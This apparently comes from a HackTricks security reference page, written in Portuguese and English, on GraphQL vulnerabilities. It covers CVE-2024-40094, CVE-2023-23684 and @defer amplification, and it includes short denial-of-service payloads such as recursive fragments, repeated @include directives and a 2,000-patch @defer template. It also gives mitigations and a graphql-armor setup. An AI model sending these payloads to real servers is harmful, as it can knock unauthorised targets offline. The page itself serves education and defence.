# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java bypass de profundidade/complexidade do ENF

  • Afetados: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Causa raiz: ExecutableNormalizedFields não eram consideradas pela instrumentação MaxQueryDepth / MaxQueryComplexity. Fragmentos recursivos, portanto, contornavam todos os limites.
  • Impacto: DoS não autenticado contra stacks Java que incorporam graphql-java (Spring Boot, Netflix DGS, produtos Atlassian…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Afetado: WPGraphQL ≤ 1.14.5 (WordPress plugin).
  • Causa raiz: a mutação createMediaItem aceitava URLs controladas pelo atacante filePath, permitindo acesso à rede interna e gravação de arquivos.
  • Impacto: Editores/Autores autenticados podiam alcançar endpoints de metadados ou gravar arquivos PHP para execução remota de código.

Abuso de entrega incremental: @defer / @stream

Desde 2023 a maioria dos servidores principais (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementou as diretivas de entrega incremental definidas pelo GraphQL-over-HTTP WG. Cada patch adiado é enviado como um chunk separado, então o tamanho total da resposta se torna N + 1 (envelope + patches). Uma query que contém milhares de pequenos campos adiados produz, portanto, uma resposta grande enquanto custa ao atacante apenas uma requisição — um clássico amplification DoS e uma forma de contornar regras WAF de tamanho do corpo que inspecionam apenas o primeiro chunk. Os próprios membros do WG sinalizaram o risco.

Exemplo de payload gerando 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Mitigation: disable @defer/@stream in production or enforce max_patches, cumulative max_bytes and execution time. Libraries like graphql-armor (see below) already enforce sensible defaults.


Defensive middleware (2024+)

ProjectNotes
graphql-armormiddleware de validação em Node/TypeScript publicado pela Escape Tech. Implementa limites plug-and-play para query depth, contagens de alias/field/directive, tokens e cost; compatível com Apollo Server, GraphQL Yoga/Envelop, Helix, etc.

Início rápido:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor agora bloqueará consultas excessivamente profundas, complexas ou com muitas directives, protegendo contra os CVEs mencionados acima.


Ferramentas

Vulnerability scanners

Scripts to exploit common vulnerabilities

Clients

Automatic Tests

https://graphql-dashboard.herokuapp.com/

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks